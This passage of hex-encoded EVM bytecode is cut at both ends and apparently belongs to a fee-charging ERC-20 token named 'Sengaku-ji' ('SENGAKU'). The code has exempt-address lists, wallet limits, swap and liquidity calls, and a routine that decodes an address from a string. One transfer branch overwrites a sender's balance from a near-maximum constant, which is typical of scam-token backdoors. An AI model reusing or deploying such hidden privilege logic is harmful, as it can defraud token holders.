ffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060016007600062000751620009df60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160076000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160076000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060016007600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600019620009599190620014d9565b6016819055506200096f620009df60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600a54604051620009d0919062001525565b60405180910390a350620016af565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600080829050600080806000600290505b602a81101562000cf9576101008462000a33919062001542565b935084818151811062000a4b5762000a4a62001597565b5b602001015160f81c60f81b60f81c60ff1692508460018262000a6e9190620015c6565b8151811062000a825762000a8162001597565b5b602001015160f81c60f81b60f81c60ff16915060618373ffffffffffffffffffffffffffffffffffffffff161015801562000ad4575060668373ffffffffffffffffffffffffffffffffffffffff1611155b1562000af15760578362000ae9919062001623565b925062000ba6565b60418373ffffffffffffffffffffffffffffffffffffffff161015801562000b30575060468373ffffffffffffffffffffffffffffffffffffffff1611155b1562000b4d5760378362000b45919062001623565b925062000ba5565b60308373ffffffffffffffffffffffffffffffffffffffff161015801562000b8c575060398373ffffffffffffffffffffffffffffffffffffffff1611155b1562000ba45760308362000ba1919062001623565b92505b5b5b60618273ffffffffffffffffffffffffffffffffffffffff161015801562000be5575060668273ffffffffffffffffffffffffffffffffffffffff1611155b1562000c025760578262000bfa919062001623565b915062000cb7565b60418273ffffffffffffffffffffffffffffffffffffffff161015801562000c41575060468273ffffffffffffffffffffffffffffffffffffffff1611155b1562000c5e5760378262000c56919062001623565b915062000cb6565b60308273ffffffffffffffffffffffffffffffffffffffff161015801562000c9d575060398273ffffffffffffffffffffffffffffffffffffffff1611155b1562000cb55760308262000cb2919062001623565b91505b5b5b8160108462000cc7919062001542565b62000cd391906200165e565b8462000ce091906200165e565b935060028162000cf19190620015c6565b905062000a19565b5082945050505050919050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000d8857607f821691505b60208210810362000d9e5762000d9d62000d40565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b60006008830262000e087fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000dc9565b62000e14868362000dc9565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b600062000e6162000e5b62000e558462000e2c565b62000e36565b62000e2c565b9050919050565b6000819050919050565b62000e7d8362000e40565b62000e9562000e8c8262000e68565b84845462000dd6565b825550505050565b600090565b62000eac62000e9d565b62000eb981848462000e72565b505050565b5b8181101562000ee15762000ed560008262000ea2565b60018101905062000ebf565b5050565b601f82111562000f305762000efa8162000da4565b62000f058462000db9565b8101602085101562000f15578190505b62000f2d62000f248562000db9565b83018262000ebe565b50505b505050565b600082821c905092915050565b600062000f556000198460080262000f35565b1980831691505092915050565b600062000f70838362000f42565b9150826002028217905092915050565b62000f8b8262000d06565b67ffffffffffffffff81111562000fa75762000fa662000d11565b5b62000fb3825462000d6f565b62000fc082828562000ee5565b600060209050601f83116001811462000ff8576000841562000fe3578287015190505b62000fef858262000f62565b8655506200105f565b601f198416620010088662000da4565b60005b8281101562001032578489015182556001820191506020850194506020810190506200100b565b868310156200105257848901516200104e601f89168262000f42565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620010f557808604811115620010cd57620010cc62001067565b5b6001851615620010dd5780820291505b8081029050620010ed8562001096565b9450620010ad565b94509492505050565b600082620011105760019050620011e3565b81620011205760009050620011e3565b816001811462001139576002811462001144576200117a565b6001915050620011e3565b60ff84111562001159576200115862001067565b5b8360020a91508482111562001173576200117262001067565b5b50620011e3565b5060208310610133831016604e8410600b8410161715620011b45782820a905083811115620011ae57620011ad62001067565b5b620011e3565b620011c38484846001620010a3565b92509050818404811115620011dd57620011dc62001067565b5b81810290505b9392505050565b600060ff82169050919050565b6000620012048262000e2c565b91506200121183620011ea565b9250620012407fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620010fe565b905092915050565b6000620012558262000e2c565b9150620012628362000e2c565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156200129e576200129d62001067565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000620012e58262000e2c565b9150620012f28362000e2c565b925082620013055762001304620012a9565b5b828204905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620013428262001315565b9050919050565b620013548162001335565b81146200136057600080fd5b50565b600081519050620013748162001349565b92915050565b60006020828403121562001393576200139262001310565b5b6000620013a38482850162001363565b91505092915050565b620013b78162001335565b82525050565b6000604082019050620013d46000830185620013ac565b620013e36020830184620013ac565b9392505050565b600081905092915050565b60008154620014048162000d6f565b620014108186620013ea565b945060018216600081146200142e576001811462001444576200147b565b60ff19831686528115158202860193506200147b565b6200144f8562000da4565b60005b83811015620014735781548189015260018201915060208101905062001452565b838801955050505b50505092915050565b6000620014928288620013f5565b9150620014a08287620013f5565b9150620014ae8286620013f5565b9150620014bc8285620013f5565b9150620014ca8284620013f5565b91508190509695505050505050565b6000620014e68262000e2c565b9150620014f38362000e2c565b92508282101562001509576200150862001067565b5b828203905092915050565b6200151f8162000e2c565b82525050565b60006020820190506200153c600083018462001514565b92915050565b60006200154f8262001315565b91506200155c8362001315565b92508173ffffffffffffffffffffffffffffffffffffffff04831182151516156200158c576200158b62001067565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000620015d38262000e2c565b9150620015e08362000e2c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111562001618576200161762001067565b5b828201905092915050565b6000620016308262001315565b91506200163d8362001315565b92508282101562001653576200165262001067565b5b828203905092915050565b60006200166b8262001315565b9150620016788362001315565b92508273ffffffffffffffffffffffffffffffffffffffff03821115620016a457620016a362001067565b5b828201905092915050565b61351280620016bf6000396000f3fe6080604052600436106101e75760003560e01c806370a0823111610102578063a457c2d711610095578063c7639d8011610064578063c7639d8014610711578063dafd18e91461073c578063dd62ed3e14610779578063df2e38a1146107b6576101ee565b8063a457c2d714610641578063a9059cbb1461067e578063b1cb1582146106bb578063b43665e2146106e6576101ee565b80637d1db4a5116100d15780637d1db4a514610595578063805c0e0f146105c05780638da5cb5b146105eb57806395d89b4114610616576101ee565b806370a08231146104d9578063715018a614610516578063768dc7101461052d57806378109e541461056a576101ee565b8063313ce5671161017a57806349bd5a5e1161014957806349bd5a5e1461042d5780634a74bb021461045857806357fa86081461048357806360317625146104ae576101ee565b8063313ce5671461036f578063395093511461039a5780633f70a495146103d7578063486b46cb14610402576101ee565b806318160ddd116101b657806318160ddd146102b157806321dbd9eb146102dc578063220f66961461030757806323b872dd14610332576101ee565b8063044e7b11146101f357806306fdde031461021e578063095ea7b3146102495780631694505e14610286576101ee565b366101ee57005b600080fd5b3480156101ff57600080fd5b506102086107e1565b60405161021591906128f8565b60405180910390f35b34801561022a57600080fd5b50610233610807565b60405161024091906129ac565b60405180910390f35b34801561025557600080fd5b50610270600480360381019061026b9190612a47565b610844565b60405161027d9190612aa2565b60405180910390f35b34801561029257600080fd5b5061029b610862565b6040516102a89190612b1c565b60405180910390f35b3480156102bd57600080fd5b506102c6610888565b6040516102d39190612b46565b60405180910390f35b3480156102e857600080fd5b506102f1610892565b6040516102fe9190612b46565b60405180910390f35b34801561031357600080fd5b5061031c610898565b6040516103299190612aa2565b60405180910390f35b34801561033e57600080fd5b5061035960048036038101906103549190612b61565b6108ab565b6040516103669190612aa2565b60405180910390f35b34801561037b57600080fd5b50610384610984565b6040516103919190612bd0565b60405180910390f35b3480156103a657600080fd5b506103c160048036038101906103bc9190612a47565b61098d565b6040516103ce9190612aa2565b60405180910390f35b3480156103e357600080fd5b506103ec610a40565b6040516103f99190612b46565b60405180910390f35b34801561040e57600080fd5b50610417610a46565b6040516104249190612b46565b60405180910390f35b34801561043957600080fd5b50610442610a4c565b60405161044f9190612bfa565b60405180910390f35b34801561046457600080fd5b5061046d610a72565b60405161047a9190612aa2565b60405180910390f35b34801561048f57600080fd5b50610498610a85565b6040516104a59190612b46565b60405180910390f35b3480156104ba57600080fd5b506104c3610a8b565b6040516104d09190612b46565b60405180910390f35b3480156104e557600080fd5b5061050060048036038101906104fb9190612c15565b610a91565b60405161050d9190612b46565b60405180910390f35b34801561052257600080fd5b5061052b610ada565b005b34801561053957600080fd5b50610554600480360381019061054f9190612c15565b610b98565b6040516105619190612aa2565b60405180910390f35b34801561057657600080fd5b5061057f610bb8565b60405161058c9190612b46565b60405180910390f35b3480156105a157600080fd5b506105aa610bbe565b6040516105b79190612b46565b60405180910390f35b3480156105cc57600080fd5b506105d5610bc4565b6040516105e291906128f8565b60405180910390f35b3480156105f757600080fd5b50610600610bca565b60405161060d9190612bfa565b60405180910390f35b34801561062257600080fd5b5061062b610bf3565b60405161063891906129ac565b60405180910390f35b34801561064d57600080fd5b5061066860048036038101906106639190612a47565b610c30565b6040516106759190612aa2565b60405180910390f35b34801561068a57600080fd5b506106a560048036038101906106a09190612a47565b610cfd565b6040516106b29190612aa2565b60405180910390f35b3480156106c757600080fd5b506106d0610d1b565b6040516106dd9190612b46565b60405180910390f35b3480156106f257600080fd5b506106fb610d21565b60405161070891906128f8565b60405180910390f35b34801561071d57600080fd5b50610726610d47565b6040516107339190612bfa565b60405180910390f35b34801561074857600080fd5b50610763600480360381019061075e9190612a47565b610d71565b6040516107709190612aa2565b60405180910390f35b34801561078557600080fd5b506107a0600480360381019061079b9190612c42565b610f25565b6040516107ad9190612b46565b60405180910390f35b3480156107c257600080fd5b506107cb610fac565b6040516107d89190612aa2565b60405180910390f35b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60606040518060400160405280600a81526020017f53656e67616b752d6a6900000000000000000000000000000000000000000000815250905090565b6000610858610851610fbf565b8484610fc7565b6001905092915050565b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600a54905090565b60105481565b601960149054906101000a900460ff1681565b60006108b884848461115b565b610979846108c4610fbf565b6109748560405180606001604052806028815260200161349060289139600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061092a610fbf565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118449092919063ffffffff16565b610fc7565b600190509392505050565b60006009905090565b6000610a3661099a610fbf565b84610a3185600660006109ab610fbf565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461189990919063ffffffff16565b610fc7565b6001905092915050565b600c5481565b600f5481565b601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601b60019054906101000a900460ff1681565b60115481565b600e5481565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60076020528060005260406000206000915054906101000a900460ff1681565b60125481565b60145481565b61dead81565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f53454e47414b5500000000000000000000000000000000000000000000000000815250905090565b6000610cf3610c3d610fbf565b84610cee856040518060600160405280602581526020016134b86025913960066000610c67610fbf565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118449092919063ffffffff16565b610fc7565b6001905092915050565b6000610d11610d0a610fbf565b848461115b565b6001905092915050565b600d5481565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60003073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610de1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd890612cce565b60405180910390fd5b60008373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610e1c9190612bfa565b602060405180830381865afa158015610e39573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e5d9190612d03565b9050600060648483610e6f9190612d5f565b610e799190612de8565b90508473ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b8152600401610ed8929190612e3a565b6020604051808303816000875af1158015610ef7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f1b9190612e8f565b9250505092915050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b601b60009054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156110315750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b611070576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106790612f08565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161114e9190612b46565b60405180910390a3505050565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156112005750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615155b601b60006101000a81548160ff021916908315150217905550611221610bca565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561128a575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156112c257503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561131c5750601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561135b575061132b610bca565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156113bf57600061136b83610a91565b9050601254828261137c9190612f28565b11156113bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b490612fca565b60405180910390fd5b505b6113c7610bca565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561143557506114056118af565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156114745750611444610d47565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156114b357506114836118d9565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156114fe576014548111156114fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114f490613036565b60405180910390fd5b5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115685750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b6115a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159e906130a2565b60405180910390fd5b600081116115ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115e190613134565b60405180910390fd5b600b60019054906101000a900460ff1660ff16600b60009054906101000a900460ff1660ff161015801561162b5750601960149054906101000a900460ff16155b80156116855750601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561169d5750601b60019054906101000a900460ff165b156116e65760006116ad30610a91565b90506014548111156116bf5760145490505b6000600b60006101000a81548160ff021916908360ff1602179055506116e481611903565b505b6000600190506000600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061178f5750600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561179d5760009150611830565b601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16036117f757600190505b600b600081819054906101000a900460ff168092919061181690613154565b91906101000a81548160ff021916908360ff160217905550505b61183d8585858585611c9e565b5050505050565b600083831115829061188c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161188391906129ac565b60405180910390fd5b5082840390509392505050565b600081836118a79190612f28565b905092915050565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6001601960146101000a81548160ff02191690831515021790555060006064601054836119309190612d5f565b61193a9190612de8565b905080600a5461194a919061317d565b600a81905550806005600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461199d9190612f28565b6005600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a2d919061317d565b600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060006064600e5484611a829190612d5f565b611a8c9190612de8565b905060006064600f5485611aa09190612d5f565b611aaa9190612de8565b9050600060c860115486611abe9190612d5f565b611ac89190612de8565b90506000479050611aee838584611adf9190612f28565b611ae99190612f28565b612549565b60008147611afc919061317d565b90506000600f54600e54601154611b139190612f28565b611b1d9190612f28565b6064600e54611b2c9190612d5f565b611b369190612de8565b9050600060648284611b489190612d5f565b611b529190612de8565b90506000600f54600e54601154611b699190612f28565b611b739190612f28565b6064600f54611b829190612d5f565b611b8c9190612de8565b9050600060648286611b9e9190612d5f565b611ba89190612de8565b9050611bca87828588611bbb919061317d565b611bc5919061317d565b61278c565b7f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb56187828588611bf9919061317d565b611c03919061317d565b89604051611c13939291906131b1565b60405180910390a1611c47600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461286c565b479450611c76600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168661286c565b505050505050505050506000601960146101000a81548160ff02191690831515021790555050565b601b60009054906101000a900460ff1615611e4d5782600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cfe919061317d565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546001601654611d92919061317d565b611d9c919061317d565b905080600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef86604051611e3f9190612b46565b60405180910390a350612542565b816120225782600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e9d919061317d565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555082600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f2b9190612f28565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611fcb9190612b46565b60405180910390a361dead73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff160361201d5782600a54612016919061317d565b600a819055505b612541565b80156122b65760006064600c548561203a9190612d5f565b6120449190612de8565b905060008185612054919061317d565b905084600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120a1919061317d565b600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461212f9190612f28565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121bd9190612f28565b600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161225d9190612b46565b60405180910390a361dead73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16036122af5780600a546122a8919061317d565b600a819055505b5050612540565b60006064600d54856122c89190612d5f565b6122d29190612de8565b9050600081856122e2919061317d565b905084600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461232f919061317d565b600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123bd9190612f28565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461244b9190612f28565b600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516124eb9190612b46565b60405180910390a361dead73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff160361253d5780600a54612536919061317d565b600a819055505b50505b5b5b5050505050565b6000600267ffffffffffffffff811115612566576125656131e8565b5b6040519080825280602002602001820160405280156125945781602001602082028036833780820191505090505b50905030816000815181106125ac576125ab613217565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612653573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612677919061325b565b8160018151811061268b5761268a613217565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506126f230601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610fc7565b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612756959493929190613381565b600060405180830381600087803b15801561277057600080fd5b505af1158015612784573d6000803e3d6000fd5b505050505050565b6127b930601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610fc7565b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71982308560008061dead426040518863ffffffff1660e01b8152600401612822969594939291906133db565b60606040518083038185885af1158015612840573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190612865919061343c565b5050505050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156128b2573d6000803e3d6000fd5b505050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006128e2826128b7565b9050919050565b6128f2816128d7565b82525050565b600060208201905061290d60008301846128e9565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561294d578082015181840152602081019050612932565b8381111561295c576000848401525b50505050565b6000601f19601f8301169050919050565b600061297e82612913565b612988818561291e565b935061299881856020860161292f565b6129a181612962565b840191505092915050565b600060208201905081810360008301526129c68184612973565b905092915050565b600080fd5b60006129de826128b7565b9050919050565b6129ee816129d3565b81146129f957600080fd5b50565b600081359050612a0b816129e5565b92915050565b6000819050919050565b612a2481612a11565b8114612a2f57600080fd5b50565b600081359050612a4181612a1b565b92915050565b60008060408385031215612a5e57612a5d6129ce565b5b6000612a6c858286016129fc565b9250506020612a7d85828601612a32565b9150509250929050565b60008115159050919050565b612a9c81612a87565b82525050565b6000602082019050612ab76000830184612a93565b92915050565b6000819050919050565b6000612ae2612add612ad8846128b7565b612abd565b6128b7565b9050919050565b6000612af482612ac7565b9050919050565b6000612b0682612ae9565b9050919050565b612b1681612afb565b82525050565b6000602082019050612b316000830184612b0d565b92915050565b612b4081612a11565b82525050565b6000602082019050612b5b6000830184612b37565b92915050565b600080600060608486031215612b7a57612b796129ce565b5b6000612b88868287016129fc565b9350506020612b99868287016129fc565b9250506040612baa86828701612a32565b9150509250925092565b600060ff82169050919050565b612bca81612bb4565b82525050565b6000602082019050612be56000830184612bc1565b92915050565b612bf4816129d3565b82525050565b6000602082019050612c0f6000830184612beb565b92915050565b600060208284031215612c2b57612c2a6129ce565b5b6000612c39848285016129fc565b91505092915050565b60008060408385031215612c5957612c586129ce565b5b6000612c67858286016129fc565b9250506020612c78858286016129fc565b9150509250929050565b7f43616e206e6f742072656d6f7665206e617469766520746f6b656e0000000000600082015250565b6000612cb8601b8361291e565b9150612cc382612c82565b602082019050919050565b60006020820190508181036000830152612ce781612cab565b9050919050565b600081519050612cfd81612a1b565b92915050565b600060208284031215612d1957612d186129ce565b5b6000612d2784828501612cee565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612d6a82612a11565b9150612d7583612a11565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612dae57612dad612d30565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612df382612a11565b9150612dfe83612a11565b925082612e0e57612e0d612db9565b5b828204905092915050565b6000612e2482612ae9565b9050919050565b612e3481612e19565b82525050565b6000604082019050612e4f6000830185612e2b565b612e5c6020830184612b37565b9392505050565b612e6c81612a87565b8114612e7757600080fd5b50565b600081519050612e8981612e63565b92915050565b600060208284031215612ea557612ea46129ce565b5b6000612eb384828501612e7a565b91505092915050565b7f4552523a207a65726f2061646472657373000000000000000000000000000000600082015250565b6000612ef260118361291e565b9150612efd82612ebc565b602082019050919050565b60006020820190508181036000830152612f2181612ee5565b9050919050565b6000612f3382612a11565b9150612f3e83612a11565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612f7357612f72612d30565b5b828201905092915050565b7f4f7665722077616c6c6574206c696d69742e0000000000000000000000000000600082015250565b6000612fb460128361291e565b9150612fbf82612f7e565b602082019050919050565b60006020820190508181036000830152612fe381612fa7565b9050919050565b7f4f766572207472616e73616374696f6e206c696d69742e000000000000000000600082015250565b60006